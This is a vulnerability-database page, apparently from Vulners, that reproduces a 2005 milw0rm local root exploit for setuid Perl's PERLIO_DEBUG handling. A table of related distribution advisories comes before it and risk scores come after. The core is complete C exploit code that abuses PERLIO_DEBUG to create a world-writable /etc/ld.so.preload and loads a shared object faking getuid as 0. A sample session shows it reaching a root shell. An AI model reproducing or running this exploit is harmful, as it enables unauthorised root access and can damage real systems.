Setuid perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation
| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
| perl -- vulnerabilities in PERLIO_DEBUG handling | 2 Feb 200500:00 | – | freebsd | |
| CentOS 4 : perl (CESA-2006:0605) | 30 Aug 200600:00 | – | nessus | |
| FreeBSD : perl -- vulnerabilities in PERLIO_DEBUG handling (a5eb760a-753c-11d9-a36f-000a95bc6fae) | 13 Jul 200500:00 | – | nessus | |
| GLSA-200502-13 : Perl: Vulnerabilities in perl-suid wrapper | 14 Feb 200500:00 | – | nessus | |
| Mandrake Linux Security Advisory : perl (MDKSA-2005:031) | 10 Feb 200500:00 | – | nessus | |
| RHEL 4 : perl (RHSA-2005:103) | 22 Feb 200500:00 | – | nessus | |
| RHEL 3 : perl (RHSA-2005:105) | 10 Feb 200500:00 | – | nessus | |
| RHEL 4 : perl (RHSA-2006:0605) | 14 Aug 200600:00 | – | nessus | |
| Ubuntu 4.10 : perl vulnerabilities (USN-72-1) | 15 Jan 200600:00 | – | nessus | |
| perl security update | 24 Aug 200600:08 | – | centos |
10
/*
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/
#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>
int main(int *argc, char **argv)
{
FILE *getuid;
if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
printf("error opening file\n");
exit(1);
}
fprintf(getuid, "int getuid(){return 0;}\n" );
fclose(getuid);
system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");
putenv("PERLIO_DEBUG="PRELOAD);
umask(001); // I'm rw-rw-rw james bitch!
system("/usr/bin/sperl5.8.4");
FILE *ld_so_preload;
char preload[] = {
"/tmp/getuid.so\n"
};
if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
}
// milw0rm.com [2005-02-07]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.01199